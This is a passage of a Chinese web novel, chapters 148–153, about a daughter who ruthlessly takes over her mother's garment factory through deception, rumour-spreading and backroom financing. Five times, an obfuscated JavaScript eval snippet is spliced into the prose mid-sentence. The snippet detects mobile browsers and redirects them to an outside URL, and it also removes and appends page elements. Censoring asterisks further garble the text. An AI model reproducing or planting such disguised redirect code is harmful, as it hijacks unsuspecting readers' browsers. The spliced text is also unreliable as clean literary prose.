罗璇举着手机,看着窗外天光渐渐绽放。 突然,她想起来一个始终被遗忘的问题。 “老板娘,这么久了,我一直在用你老公的职位称呼你。你究竟叫什么名字?” 老板娘“啊”了声,似乎完全没想到。 “我叫王俭妹。”她的声音很局促,很不好意思。 讲自己的名字,为什么会不好意思呢? 女人为什么总是会为天经地义的事情,而感到不好意思呢? 天光终于大亮,一轮红日跳出,照亮整个罗桑县。 阳光把罗璇的脸,连通她身上的红裙子,晒得红彤彤的:“王俭妹,今天是10月9日,你可以记住这一天。恭喜。虽然你破产又负债,但从今开始,你就是王厂长、王老板了。” 王俭妹愁肠百结之下,也笑了起来。 “小罗总,不要打趣我。”她轻轻说,“我只是个普通女人。” “王总,工作往来要称呼职务。”罗璇注视着天光,“工作中不要提及性别。” “哎呀,何必这样……” “否则单子不给你了。” 王俭妹沉默了很久很久。 “小罗总。”王俭妹终于说,“你说,我这算不算坏事变好事?” 第148章 一直往南方飞 天色大亮了。 10月9日,罗桑县,上午9点。 赵秋兰站在候车室里。秋天灿烂的阳光照进来,和她的心情一样好。 红星厂出了很大的变故,经理**,厂长受伤,而她,是第一个直面现场的人,在这场变故中受到了极大惊吓。 于是罗璇说:“兰姨,工期不差这两天。我们去广州散散心。” 赵秋兰觉得过了:“我和你妈妈从小一起长大的情分,我帮她是应该的,你何必特意带我出去旅游。” “不光是旅游,也是考察。”罗璇认真地说,“兰姨,以后红星厂的规模上去了,你也要与时俱进才行。” 罗璇是赵秋兰一手带大的孩子,赵秋兰觉得罗璇说得有道理。 赵秋兰和林招娣是从小一起长大的情分。赵秋兰嫁了人,差点**,是林招娣把她带到红星厂,后来一起从小作坊做到今天。随着红星厂的规模日益扩大,她从管三个工人,逐渐变成管十个工人,二十个工人……如今是红星厂的工人头头,管用人,也管招工,也管排班安置等等协调管理工作。 罗璇总说:“兰姨,你就是红星厂的人事总监。” 赵秋兰伸手拽罗璇的发尾:“我没学历,听不懂这时髦词,但这是个官吧?” 罗璇笑嘻嘻点头:“是个官。” 赵秋兰满意地拍拍手:“当官好。你别说,在红星厂管人管习惯了,还真感觉到当官的乐趣。” 罗璇哈哈笑。 火车抵达上海,赵秋兰跟着罗璇到了虹桥机场,这是她人生第一次坐飞机。她跟着罗璇一路进站,四处张望,津津有味。 罗璇边走边告诉她:“这里防爆安检。这里排队打印机票。这里办行李托运。这里安检……” 赵秋兰看什么都觉得新鲜:“兰姨老啦,兰姨记不住。” “兰姨你看上去才三十五岁。”罗璇的嘴巴从小就甜,下一秒,赵秋兰手里多出一张纸。 “这是什么?” “坐飞机流程图。”罗璇说。 赵秋兰打开,里面一步一步写的详细,怎么进站坐飞机,路上可以做什么,不可以做什么,怎样取行李,怎样出站。 罗璇从小就贴心。赵秋兰微笑。 过安检的时候有点小波折,安检员非得让兰姨把靴子脱了,这让她很尴尬。过了安检,两人候机。 赵秋兰忍不住看着落地玻璃外的萧瑟飞机场。 “我当年被男人打的时候,怎么都没想到过,今天会坐飞机出去旅游。”赵秋兰忍不住对着罗璇说。 在她心里,罗璇和自己女儿也没什么区别。 “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275268|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年是你妈救了我,我感激她一辈子。” 罗璇轻轻点头:“我知道。你和我妈的情分,我都明白。” 安检门旁的电子字样变成“登机”,两人拖着行李走进安检门。 罗璇捏着机票,突然“哎呀”一声:“糟了!我把手机落在厕所里。” 赵秋兰吓了一跳:“我去帮你找。” “兰姨,你先上飞机,我去拿手机,马上就回来。” 罗璇急匆匆叮嘱空姐把兰姨带到座位上,把手里的行李往兰姨手里一塞。 “兰姨。你别怪我。你要好好的。”罗璇说。 “哎呀!说这种客气话。”赵秋兰推她,“你的事要紧。” 罗璇看了她一眼。 “兰姨,再见。” 她很快跑开了。 赵秋兰坐在座位上,很焦急地等着罗璇上飞机。 可是。 直到飞机起飞,罗璇的座位也依旧空着。 …… 飞机小小的舷窗被粗大的雨点拍打得啪啪作响。 上午还阳光灿烂,此时此刻,暴雨倾盆而下,电闪雷鸣,天色几乎在一瞬间昏暗下来。 机厢内亮起惨白的灯。 赵秋兰心有所感,看向舷窗外。 飞机猝不及防地抬高,飞向高空,飞向无边无垠、难以预料的世界之南方。 第149章 驱逐 一场秋雨一场寒。 寒风吹拂在上海。 10月8日的双重利好出台,让指标股强势,10月9日,盘中摸高到2119点,渐渐回落。秋雨砸在沪市硕大的LED屏上,噼噼啪啪,在一排排红色数字上溅起水花,又落在LED屏下方挤挤挨挨的各色雨伞中,循着雨伞的缝隙,落在一张张混杂着希冀与焦虑的脸上。 寒风吹拂在珠三角。 国际金融危机导致海外订单萎缩,大量劳动密集型企业经营不景气,秋雨落在一辆辆转移机器与工人的卡车上——企业想方设法降低成本。逐渐把产业链向珠三角以外的粤东西北地区转移,被称为“双转移”战略。 寒风吹拂在罗桑县。 多事之秋,许多小厂子悄悄消失了,许多工人返乡后再也没回来。秋雨落在荒芜的厂房上,人去楼空,只有罗桑河水涨高,臭味弥漫。 寒风吹拂在罗桑厂,冰冷的秋雨无法浇灭工人们众筹的热情。 工人们争先恐后地将卖房的钱、借来的钱拿给王经理,渴求着50%的分红。所有人都挤在王经理办公室门口,罗桑厂的机器只开了不到1/3。 寒风吹拂在红星厂。 自从林经理突发脑梗去世、林厂长急病入院后,红星厂就处于停工整休的状态。 …… 10月9日,红星厂,中午1点半钟。 张红梅坐在宿舍里,焦虑不安地看向窗外。 “……都在办法找出路。”女工说,“红星厂肯定也开不下去了,不然林厂长和林经理能愁得生病?” “也不知道冲撞了什么,招娣和国栋怎么就突然病的病、死的死?” “兰姨已经走了。”张红梅压低声音。 “走了?走了是什么意思?!”女工坐直身体,瞪大眼睛。 “去给别人干了。” “赵秋兰在林厂长这干了大半辈子,说走就走?她撇下我们不管了?” “兰姨去广州了,新塘,给人家工厂当管理,当官去了。不当工人了,挣得多。”张红梅按照罗璇教的话,慢吞吞地说。 女工“蹭”地站起身。 “既然兰姨走了,看来林厂长是回不来了!” 张红梅涨红了脸。 …… 张红梅从来都不擅长说谎,但罗璇救过她的命。 张红梅不懂什么大道理。她只知道,谁对她好,她就对谁好。林厂长是她的老乡,但她和林厂长之间没太多往来;兰姨挺照顾她,但兰姨照顾所有人。 而罗璇,是不一样的。 孰轻孰重,张红梅分得很清。 而罗璇问得也露骨。 她直接把一张粉色的火车票摆在黑色的桌上。 张红梅低下头,在反光的黑色桌面上,看见自己因为紧张而涨红的脸。 “……就是我刚刚说的这些话,请你传给别人听。”罗璇指着粉色的火车票说。 张红梅结结巴巴:“您的意思是,说兰姨的坏话……为什么?” 她伸长脖子,等着罗璇解释。 但罗璇不解释。 “如果你不愿意,我可以送你返乡,也可以把你安置到广州。你可以选。”罗璇说。 张红梅懂了。她不愿意,罗璇就去找个愿意的人,而她,就不能继续留在这里。 “为什么选我?”张红梅嗫嚅。 “这是你的机会。”罗璇依旧不解释。 罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275269|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璇坐在黑色的沙发上,穿着一件红色的裙子,颜色红到刺眼,张红梅瞟了眼,仿佛被烫到,又垂下眼。 张红梅伸出手,轻轻把粉色的火车票扫到地下去。 火车票落在她的鞋面上。 她不安地挪了挪脚,不小心将火车票踩在脚下。 “我当然听你的。”张红梅没太多犹豫,“我只听你的。” 罗璇微笑。 思及此,张红梅抬起头,对着女工,把罗璇教她的话说完:“兰姨说,林厂长不会再回来了,多拖一天,就少赚一天的钱,不如早走。兰姨是今天的飞机。” “连兰姨都走了……”女工喃喃道,深吸一口气,“这么大的事,你不早说!” 她匆匆离去。 …… 10月9日,红星厂,下午4点钟。 红星厂内谣言漫天,工人们窃窃私语,终于,有人背起行囊:“算了,早点回去吧,再拖下去也没意思。” “如果招娣病得不重,怎么可能转移到上海去?红星厂完啦。” “本来就欠外债,林经理也**……” 也有工人犹豫:“咱们跟林厂长乡里乡亲的,人家一出事,我们就走,不合适吧。” “你傻呀。”女工恨铁不成钢,“兰姨已经走了!” 工人们下定决心。 张红梅小声说:“上个月的钱反正都发了,这个月刚开始,没干几天,也不用结算。” 她又说:“已经10月了,要是这俩月林厂长回不来,今年的春节怎么过?赶紧找下家,能赚一天是一天。” 不知谁嚷嚷起来:“还想什么想,连兰姨都走了!” 工人们背起行囊,作鸟兽散。 第150章 公章在哪 10月9日,红星厂,下午5点钟。 罗璇的车刚刚停稳,就被人拉住车门把手,用力拽动,大声呵斥:“罗璇,果然是你捣的鬼!” 罗璇往车窗外一看,竟然是大伯家的罗祖荫。 她不急着开门,伸手按下一半车窗,好整以暇地看着他。 罗祖荫怒斥:“你不用再掩饰!红星厂的人已经走光了!我知道是你干的,你把你妈关在外面,把她的人全部清除掉,大刀猛砍,然后你是不是就要塞自己人了?!我要把你的小动作全告诉你妈!” 罗璇盯着他看了半晌,“嗤”地笑了。 “罗祖荫,罗文彬是我爸,不是你爸。林招娣是我妈,不是你妈。”罗璇凉凉地说,“要是你这么想加入我家,你不如喊我一声亲姥姥,现在磕三个头,我就让你认祖归宗。” 罗祖荫气得死死扭住车门把手,用力猛拉:“罗璇你搞清楚,**红星厂,起步靠的是我们罗家的资源,是我们罗家亲戚给的订单,不然凭什么一个外来女人能在罗桑县站得住脚?你爸说得很清楚,这厂子我们老罗家至少占20%,你又凭什么独吃独占!” “我们三姐妹都姓罗。”罗璇说。 “女人算什么,男人才算!” 罗璇摊手:“我的意思是,我们三姐妹都姓罗,已经是给你们老罗家最好的回馈,老罗家占的股,花在我们身上,正正好好,多一分钱都没有。” 罗祖荫被罗璇气得睁大双眼:“你不要胡搅蛮缠!” 罗璇忽然变了脸,竖眉怒斥:“你也知道自己在胡搅蛮缠?罗祖荫,我明摆着告诉你,我就是独吃独占,你能把我怎么样?我能独吃独占,是我有本事!你吃不到占不到,是你没能耐!现在你让我把吃到嘴里的吐出来?!那就摆好你的位置,拿出求人的样子,是你求我,不是我求你!” 罗璇承认之爽快、蛮横如土匪,完全出乎罗祖荫的预料。他呆住了。 她都不自证的吗?! 片刻后,罗祖荫不可思议:“你就这么承认了?” “不然呢?难道你想我证明,红星厂全靠林招娣个人本事,不靠罗家的资源?我为什么要证明这个?”罗璇哈哈冷笑,“我就是用了罗家的资源又怎么样,我就是不分给你又怎么样,我就算不要脸又怎么样,我吃到嘴里的就不吐出来,我拿了好处就翻脸不认账,你能把我怎么样?” “你!”罗祖荫跳起来骂,“你装什么逼,罗桑县这地界谁不知道谁的老底,你被你妈折腾个半死,兜里光光没两个大子,现在跟我装什么成功商人,我呸!” “我就装逼,我装得好,装得像,就是我的本事。我兜里一分钱没有,身边前呼后拥的都是有钱人,你兜里有钱,前呼后拥的都是二流子,你连装逼都装不过我。” 从头到尾,从没哪个女人像土匪一样讲过这种话,罗祖荫直接懵了。 隔着半扇玻璃,罗璇红色的裙子像血一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275270|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺眼:“我有本事,你没本事,你听我的,我给你分钱。你不听我的,你就一毛没有。” 罗祖荫梗脖子:“你给我钱?” “当然,你给**,我给你钱,你爸给**,我给你爸钱。难道你还想继续过从你爸手里抠钱的日子,天天你爸放屁你说香?” 罗祖荫摇头。 开什么玩笑,干制造业的人,都抠得像铁公鸡,他能从他爸手里一个月抠出来3000块,已经算是丰功伟绩。 罗璇把车窗整个降下来,似笑非笑地看着他。 “你觉得你爸、你奶厉害,还是我厉害?” “你们家这群悍妇,多厉害呀,我爸可弄不过你们。”罗祖荫阴阳怪气。 “你觉得,我妈厉害还是我厉害?” “……你妈厉害。”罗祖荫下意识说,又急忙改口,“但你妈病了,现在不好说。” 罗璇哼了声:“所以,你觉得,你在我妈那里能讨到好处,还是在我这里能讨到好处?” 在两个悍妇中选,罗祖荫毫不犹豫:“你。” 罗璇按下车门锁,罗祖荫没动。 “开门呀。”罗璇催促。 罗祖荫拉开车门,罗璇跳下车,罗祖荫下意识扶住她,转身关上车门。 旋即罗祖荫气了个半死——这是把自己当司机了? “堂哥。”罗璇却变了脸,露出亲切又讨喜的笑容,抓着他的手臂,小声说,“从你爸那套话,问问红星厂的公章在哪里。” 第151章 你必须走,无关感情&辛亥**与獠牙 10月9日,红星厂,晚上11点钟。 罗璇坐在厂长办公室的宽大黑色沙发上,手里捏着圆溜溜的红色公章。 外面是大风大雨,可厂长办公室里很安静。雪白的白炽灯刷拉拉照在头顶,把一切都照得白晃晃、明堂堂的,没有半点隐藏。 罗璇在面前摊开一张白色的纸,身边放着一盒鲜红色的印泥。 她在白纸上按下一连串鲜红的印子。 她抬头看了看。 兰姨走之前,把厂长办公室好好洗刷过,地上干干净净,仿佛什么都没发生过。 一阵风吹过,盖满鲜红印子的白纸缓缓飘落在地下。罗璇注视着那点红印子,她心里清楚,终究有什么已经发生过了,无可挽回。 人不会两次踏入同一条河流。 人只能任由事情像水一样流过。 罗璇抬起头。在天花板的角落里,溅了小小一滴血,棕红色的,发黑。她定定地看着那个小点。 手机响起来。 …… “太多人联系我了。”兰姨的声音很平静,“我听说,你妈从老家招来的工人,已经全散了。” “是。”罗璇说。 “我还听说,红星厂里那些跟着你妈干了几十年的老乡,不想走的,你给他们两个选择,要么拿钱返乡,自谋出路;要么接受招工,被你送去广州。” “兰姨,广州的气候,你还习惯吗?”罗璇问。 兰姨顿了顿。 “二妹,你是怎么做到这么狠的。”兰姨说,“你为什么要把我骗到广州来?你用我的身份证,和那个王俭妹签了用工合同,我走都不能走。” “兰姨,你去王厂长那里,是做官呢。王厂长是我的合作商,她不会亏待你。” “我问的不是这个。” 罗璇说:“兰姨,红星厂已经是我的了。” 兰姨深深吸了口气,又缓缓吐了出来。 “你急什么呢。”兰姨的声音有些诧异,“你舅已经**,等你妈走的那天,厂子必然是你的。” “在这个世界上,一个成功的人,往往是踩着别人往上爬的。”罗璇说,“兰姨,今天我不踩着她,来日就是她踩着我。” 一个巨大的膨胀的星球存在,是因为虹吸了身边的小星球。 即使身受重伤的时候,林招娣也想着,利用亲弟弟申请残疾人补贴,**女儿替红星厂还债。 她们三姐妹,甚至舅舅,甚至父亲……无论谁接近她的妈妈,都注定了被吞噬的命运。 这就是她的妈妈。 她的妈妈,就是这样从**的家庭中逃脱出来,从不自主的婚姻中逃脱出来,从**手里逃脱出来,从贫穷的赤足阶层里逃脱出来……究竟是她逃离了环境,还是环境塑造了她呢? 罗璇低头看着自己鲜红色的裙子。 鲜红色,是血溅上去也看不出的颜色。 或许女人的一生无法与红色分开。或许女人的一生注定无法与鲜血分开。女人因为月经而孕育,而月经是红色的鲜血。鲜血既是孕育也是杀戮,孕育者终成杀戮者。杀戮者终将**戮。 月满则亏,兴尽悲来,螺旋之中,盈虚有数。 太阳下山明早依旧爬上来,花儿谢了明天还是一样的开。宇宙之中,万事万物皆有因果,或许林招娣和她“招娣”的名字,终将互为因果,而个体命运的螺旋,也终将成为人类命运的螺旋。 妇是一座山。有的女人推到了山,成为了山。最终,山谷深深,风吹进去,没有半点回声。 罗璇坦然说:“兰姨,我已经拿到了公章。后面,我会重新招工,现在的财务我也会换掉。我都会换成自己人。” 兰姨打断她:“我看着你长大。” 罗璇沉默片刻:“兰姨,你必须走。” “就因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275271|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我和**关系?” “对,就因为你们之间的关系。”罗璇说。 兰姨顿了顿。 “你甚至没有问过我,愿不愿意帮你。”兰姨的语气里带着哽咽,“你几乎是我一手带大的。我以为你对我多少有点感情。我对你也不是没有感情。为什么你甚至不愿意给我个选择?” 罗璇的眼泪流下来,滴在鲜红的裙子上。血溅在红裙子上,或许看不出来;眼泪落在红裙子上,立刻变成黑色的圆点,边缘毛茸茸的。 “兰姨。”罗璇哽咽,“感情是无用的。做事情,无关乎感情。” “因为在别人眼中,你就是我妈的象征。”她说,“我没有办法。” …… 林招娣的电话打过来,罗璇没有接。 她只是打开短信栏,缓缓地输入一行字: “妈妈,你不必假装原谅我,我也不想假装原谅你。” 她按下发送键。 墙上挂的电子表突然响起:“准点报时,北京时间,00点整。” 罗璇下意识看了眼时间。 此刻是2008年的10月10日,电子日历上滚动出“辛亥**纪念日”的字样。 而距离宗先生来视察红星厂生产情况,只剩7天。 罗璇想起,几乎就在一百年前,也发生过一群普通人的斗争事件。那些普通人,其实和她现在差不多年纪。 一些人死去了。 一个朝代结束了。 一个绵延两千多年的古老制度覆灭了。 结束,然后重新开始。 覆灭,在废墟上建立新生。 罗璇推开厂长办公室的门,缓步走出。 偌大的车间黑漆漆的,没有光,没有人影。 她走出车间,站在院子里,看向整个红星厂。 员工宿舍也黑漆漆的,好似一片废墟。只有零星个窗户还亮着灯,犹如刚长出的獠牙。 第152章 什么是资本游戏 茶室黑漆漆的。 赵老板伸手拍开灯,霎那间光明大作。他脊背佝偻,长臂一伸:“小C总,请。” 好一个小C总,罗璇好险没笑出声来。 她跟在Cythnia身后,看着Cythnia被赵老板左一句右一句“小C总”叫得哭笑不得。 但县里的小老板,书都没读过几年,拍马屁自然也没什么格调。一手一脚做事、一毫一厘抠利润的行业,很难高贵得起来。 Cyhnia点点头。 当然不代表认同,只代表她给了他这个献殷勤的机会。 三人对坐案前。 赵老板依旧佝偻着脊背,笑得满脸热情:“小C总要我帮忙还不是一句话的事,走个账而已,我该做的。您肯大驾光临,蓬荜生辉,蓬荜生辉。 不伦不类的溢美之词,罗璇耳朵冒油,痒得难受。 Cythnia倒是听惯了吹捧,半点不适都没有。 她很随意地“嗯”了声:“是你们县的小罗总喊我来。我总得给她个面子。” 罗桑县的人,谁不知道林招娣和罗璇窝里斗的笑话。 赵老板有些讶异地抬眼,自认为隐秘地打量了下罗璇。水开了,他急急泡茶,端给Cythnia一杯。 Cythnia把茶碗放在一边,碰都没碰。 赵老板安静了一会,有些牙酸地开口:“之前您让我和老宋针对林厂长做个局,骗林厂长注资帮老宋,现在钱在我这里。您看,我怎么把钱给您?” “这么点小事,不需要问我。赵总你和小罗总自己商量,搭个桥,直接注到红星厂里去。”Cythnia淡淡地说,“算我给红星厂的注资。” 赵老板的面部抽搐了几下。 这可恶的Cythnia,白白用了他一轮,逼着他得罪人,最终一个点都没给他抽,一分钱茶水费都没给他留,吃干抹净,无外乎如此。 但对方是珊瑚集团的二代,一根手指头就能捏死他——他忍住了。 赵老板神情复杂:“难为您看上我们县的小厂子。” Cythnia说:“顺势而为罢了。一方面是小罗总拉我入资,我很看好她的经营手段;一方面,我要转移一部分资金投到这边来,才能避免真金白银地交一大笔税。” 说起避税,赵老板什么都懂了:“明白。” 经营赚不到什么钱,真正的赚头在于投资避税。 而罗璇坐在桌前,垂眼注视着茶碗。 一笔钱,轻描淡写地周转了一轮,回到原点。 一场仙人跳,一个人受重伤,一个人死去了。有人搞政变,有人跳起来夺嫡,有人清君侧,还有很多人,什么都不知道,人生轨迹却猝然转折。 Cythnia获得了一家工厂,节约了一大笔税,搏了个投资的美名,同时一分钱没花。 这是另一个阶层的游戏。 三人又喝了两杯茶。赵老板似乎有话要对Cythnia说,犹豫地看了眼罗璇,罗璇识趣地起身:“我出去走走。” 她站起身,走出门。 昨天狂风骤雨,今天阳光明媚。罗璇抬头看着巨大的太阳,眯起眼,伸出手,遮住刺目的阳光。 这个世界就是这样的。人和人就是不一样的。罗璇心想。 无论太阳多大,一些人只要举起一只手,就能挡住另外一些人的眼睛,而另外一些人就会陷入黑暗。 茶室里,赵老板很为难地和Cythnia说:“小C总,按道理,我也不该讲太多的。但有些事情,我想,您还是知道比较好。” Cythnia问:“什么事?” 赵老板委婉道:“罗文彬好大一个男人,夹在女人堆里,活得不清不爽,死得匆匆忙忙,阳间的事一团糟。” “知道您跟小罗总关系好,但生意场上,哪有什么真感情,您说是不是。” “您查过小罗总的帐,查过红星厂的账,您查过罗文彬的账没有?” “要不,您仔细查查他?” Cythnia的脸色渐渐变了。 …… 王经理的脸色渐渐变了。 “罗珏挨个游说工人,说我们集资就是为了自己敛财,而不是用来生产?”他抬高声音。 工人老王低声说:“您别激动,这件事情,我们只是想让您知道。” “我能不激动吗?!”王经理抬高声音,“罗桑厂是罗桑县的立身之本,是罗桑县的希望!现在外商虎视眈眈要我们卖厂,大环境内忧外患,在这种艰难的时候,怎么会有人煽动反对情绪,只盯着自己蝇头小利,缺乏大局观呢?” 工人老王有些惊慌地找补:“罗珏这孩子,我们看着长大的,这孩子没什么坏心眼,只是性格比较倔……凡事容易走极端。” 王经理喘了几口粗气。 “算了。”他挥手,“她也许是被人当枪使了。” “是谁,是谁要害我们罗桑县——” 王经理烦躁:“我们罗桑县留不住罗桑厂了。罗桑厂要被兼并,然后挪到别处去。” 工人老王面上的血色一瞬间褪了干干净净。他后退好几步。 “被兼并?!”他声音恐惧,“为什么?” “上面的意思是,罗桑河的水已经被罗桑厂搞坏啦,太臭啦,为了你的子孙后代,赶紧把罗桑厂搬走,保护环境。” “为了子孙后代——那我们怎么办?罗桑厂搬走了,还需要我们吗?!我——我在罗桑厂干了一辈子!我三十年都是这么过的!” 王经理摊手:“我没办法。” 工人老王的老脸颤抖起来。 良久,王经理低声说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275272|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我能做的,只有帮你们多分些红。” 他拍了下老王的肩膀,喟叹:“咱们都已经老了啊。” 工人老王悲愤地流下热泪。 “是谁,是谁要砸了我们的饭碗?” 之河服装集团?王经理在心里摇摇头,他哪敢说人家之河的企业不好。 “你别问了。”他谨慎地挥挥手,让工人老王离开。 工人老王抹着眼泪,走出门。他的背一下子垮下去了。 门,被风重重关紧。 “罗珏,要坏事啊。”王经理喃喃道。 …… 工人们的脸色渐渐变了。 “罗桑厂要迁走了?被兼并了?” “罗桑厂走了,罗桑县还叫罗桑县了吗?” 老王点点头,捂着眼睛,无声地靠在砖墙上。 “那我们怎么办?是谁,是谁要砸了我们的饭碗?” 王经理没说。老王“啪嗒”一声,点燃一支烟。正要开口,已经有人义愤填膺: “外商天天在这里晃,还能有谁?” “外商江明映,是外商江明映!” “江明映要砸我们的饭碗!” …… 郑厂长的脸色渐渐变了。 “那个罗珏四处乱喊,你怎么不赶紧阻止?” 他伸手捏住茶杯,厉声质问王经理,浑身发抖。 几秒钟后,郑厂长又咬牙切齿地压低声音:“上次开会,赵**说之河服装集团要兼并我们。之河的审计可不是我们的人,我们这笔烂账,可禁不起查!” 王经理满头大汗:“还有机会,您先别慌。”他无意识地把纸巾绞成一团,掷在地下,声音里带了点狠意,“只要能赶在之河服装集团审计来之前,骗外商江明映注资,问题就全解决了。” “这**外面这么大喊大叫的,会不会传到江明映耳朵里去!**明映知道,还注资什么注资!”郑厂长喘息了一会,压低声音。 “……让一个女人彻底消失,并不难。”他静静地说。 “不难。”王经理点燃一支烟,“但问题是,我怀疑她背后有人指使。” 郑厂长好半天没说话。 “如果她只是背后之人放出来的饵,只要她一出事,对方就更有理由查我们了。” 郑厂长懂了:“你的意思是,之河服装集团要兼并我们,提前下黑手,用这个罗珏来设套,赌我们会心虚对她下手,这样之河服装集团就能兵不血刃地把我们抓起来调查,同时进驻审计?” 王经理点头:“一网打尽。” 郑厂长面孔扭曲。 “所以,要讲究方式方法,不能直接让她消失。”王经理轻声说。 “我们也得用罗珏做诱饵,把她身后的人钓出来。” “所以,这个罗珏,现在还不能动。” “且多留她几日。” 第153章 背靠大树好乘凉,屙屎都要硬三分 罗文彬的情妇魏茵茵的脸色渐渐变了。 “我不明白你在说什么。”她声音慌乱,“我也根本就不认识你。” “你怎么能不知道罗文彬欠债的事情呢。”眼前的年轻男人英俊又温和,阳光照下来,雪白的衬衫令人眩晕,“罗文彬和我说,你是他今生挚爱。” 魏茵茵微微张开嘴:“文彬是这么和你说的?” 男人笑了笑。 他轻轻吐字:“你和文彬办结婚酒的那天。他悄悄告诉你什么?他告诉你,他会给你终身的倚仗。你爸妈亏待你,你得为自己考虑,而他和你有整个后半辈子,让你谁都别告诉。” 魏茵茵伸手捂住嘴。 年轻男人说:“终身的倚仗——罗文彬引入资金,悄悄建一个新的红星厂。” “而这个新的红星厂,他本想给你的。”男人说。 罗文彬承诺,新红星厂建成,就让魏茵茵做法人。 他说,这样,从此以后,新红星厂就是她的了。 魏茵茵幸福地微笑起来。 …… 魏茵茵浑身颤抖,瞬间泪如泉涌:“你是文彬什么人?” 男人把一个旧钱包放在魏茵茵面前:“文彬的遗物。” 魏茵茵捧着旧钱包,贪婪地闻着上面残留的味道。男人轻声说:“我父亲是文彬的朋友。文彬生前托我父亲照顾你。” 魏茵茵弯下肩膀,双手捂住眼睛,无声地痛哭起来。 “我真的爱他。”魏茵茵含混不清地说。 “我知道。”男人说。 “他也爱我。最爱我。”她哽咽,“那么大一间工厂,他居然让我做法人呢。” 魏茵茵瘦弱的身躯渐渐摇晃,白衬衫男人轻轻扶住她的双肩,拍打着她的后背。 “他也爱你。”张东尧轻声说。 在魏茵茵看不到的地方,张东尧面色厌烦。 “蠢货。”他无声地做了个口型。 做法人? 工厂真出了什么事,罗文彬可以跑,法人却要进监狱的。 张东尧嘲讽地笑了。 …… 从魏茵茵租住的房子出来,张东尧坐在车上。 他掏出笔记本电脑,打开卡片相机,把照片上传。 用鼠标点开隐藏的文件夹,那里保存着之前在王经理办公室偷拍的照片。 上传完毕,张东尧打开刚刚在魏茵茵家拍下的各种文件,逐一比对。 张东尧摇头。 他用电脑计算器默默算了一会,睁大双眼,表情凝固了。 “建这个新红星厂,**利滚利,罗文彬居然欠了这么多钱啊。” 他感叹出声。 …… “红星厂目前欠老豹100万、雪灾赔偿款200万。” 车间里没开灯,静悄悄的。 关系王随手抽了把椅子,坐在车间里,帮罗璇算账: “还有这几家供应商的货款要付掉,否则影响红星厂后续备料。拿去填赔偿款的钱是从民间借贷来的,10个点利息,每个月都要还掉几笔,放债的都是本地人,本地口碑不能做坏。” 关系王越算越烦躁,“啪”地合拢本子,拍案怒斥: “见过账烂的,没见过账拉稀的!你每天一睁眼睛,成本稀里哗啦窜出去,止都止不住,全他妈是债!” 关系王唉声叹气:“本指望你做大做强,我借着关系网吃你的资源对缝,现在好咯,吃多不消化,迟早要拉稀,算我看走眼。借你的五万块钱什么时候还?” “别急呀,问题不大!”罗璇急忙说,“这些情况,Cythnia全都知道。我们讨论过,她会帮我把债务化掉,用珊瑚集团给我背书,找银行抵押红星厂厂房,从而将民间借贷转成正规贷款,然后我这边机器转起来,多分几年,逐年还清,利息——” “停!听得我头晕。”关系王皱眉打断她,“我就问你一句:靠你自己办不到?” “办不到。”罗璇老老实实地说,“银行不会贷款给我。” “所以人家又是一分钱没出,只是出了个牌子给你靠,你从银行借的钱,结果算人家的投资,还能为她其他产业真金白银地省下一大笔税。”关系王很惆怅地抽出一支烟,“钱生钱,可真是容易啊。” 罗璇伸手拍掉关 